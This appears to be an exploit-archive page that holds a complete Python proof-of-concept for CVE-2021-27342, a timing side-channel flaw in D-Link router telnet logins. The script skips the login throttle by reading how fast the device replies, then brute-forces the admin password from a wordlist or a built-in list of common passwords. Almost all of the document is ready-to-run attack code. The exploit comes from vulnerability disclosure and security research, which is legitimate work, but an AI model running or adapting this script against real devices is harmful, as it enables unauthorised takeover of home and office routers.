4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / dlink-telnet-exploit-CVE-2021-27342.py PY
#
# Exploit for D-Link telnetd vulnerability
# 
# Exploit bypasses current authentication throttling mechanism via timing side-channel
# Effectively allows waiting < 0.1 seconds between brute-force requests instead of 3 seconds
# Author: Guy Levin / @whtaguy / https://whtaguy.com
# 
# CVE-2021-27342
#

# critical
import socket
import time
import sys

# convenience (can delete import and usage in code)
from progressbar import ProgressBar

DEBUG_STATUS = False
DEBUG_RECV = False
DEBUG_FINAL_RECV = False

def recv_until(s, ending):
	if DEBUG_RECV:
		print("waiting for", ending)
	b = ""
	while not b.endswith(ending):
		if DEBUG_RECV:
			print(time.asctime(), "b:", b)
		b += s.recv(1)
	if DEBUG_RECV:
		print("returning b:", b)
	return b

def telnet_login(ip, port, passwd, invalid_auth_timeout=0.07):
	# might need to adjust invalid_auth_timeout according to network lag
	s = socket.socket()
	s.connect((ip, port))

	# idk telnet things
	recv_until(s, "fffd01fffd1ffffb01fffb03".decode("hex"))
	s.sendall("fffb01".decode("hex"))
	if DEBUG_STATUS:
		print("done init")

	recv_until(s, "dlinkrouter login: ")
	s.sendall("admin\r\n")
	recv_until(s, "admin\r\n")
	if DEBUG_STATUS:
		print("done uname")

	recv_until(s, "Password: ")
	s.sendall(passwd + "\r\n")
	if DEBUG_STATUS:
		print("done passwd")

	# send on good & bad auth attempt
	recv_until(s, "\r\n")

	# if immediately get "W" (first char of "Welcome ..."), then we know auth is good.
	# else, bad auth
	s.settimeout(invalid_auth_timeout)
	recvd = ""
	try:
		recvd += s.recv(0x10)
	except socket.timeout as e:
		if DEBUG_FINAL_RECV:
			print("recvd:", recvd)
		correct_pass = False
	else:
		if DEBUG_FINAL_RECV:
			print("recvd:", recvd)
		correct_pass = True

	s.close()
	return correct_pass


def brute_force_login(wordlist, ip="192.168.0.1", port=23):	
	print("Starting password brute-force")
	pbar = ProgressBar()
	password_found = ""
	for word in pbar(wordlist):
		if word[-1] == "\n":
			word = word[:-1]
		if telnet_login(ip, port, word):
			password_found = word
			pbar.finish()
			break

	if password_found:
		print("Brute-force success!")
		print("Username: admin")
		print("Password: " + password_found)
	else:
		print("Brute-force failed. Try changing the wordlist.")

	return password_found

def main():
	if len(sys.argv) == 2:
		wordlist = open(sys.argv[1], "r").readlines()
	else:
		# use simple demo wordlist
		print("using dumb demo wordlist")
		wordlist = ["123456", "12345", "123456789", 
					"password", "iloveyou", "princess",
					"1234567", "rockyou", "12345678", 
					"abc123", "nicole", "daniel", 
					"babygirl", "monkey", "lovely" ]
	
	if brute_force_login(wordlist):
		return 0 # exit_success
	else:
		return 1 # exit_fail
	
if __name__ == '__main__':
	main()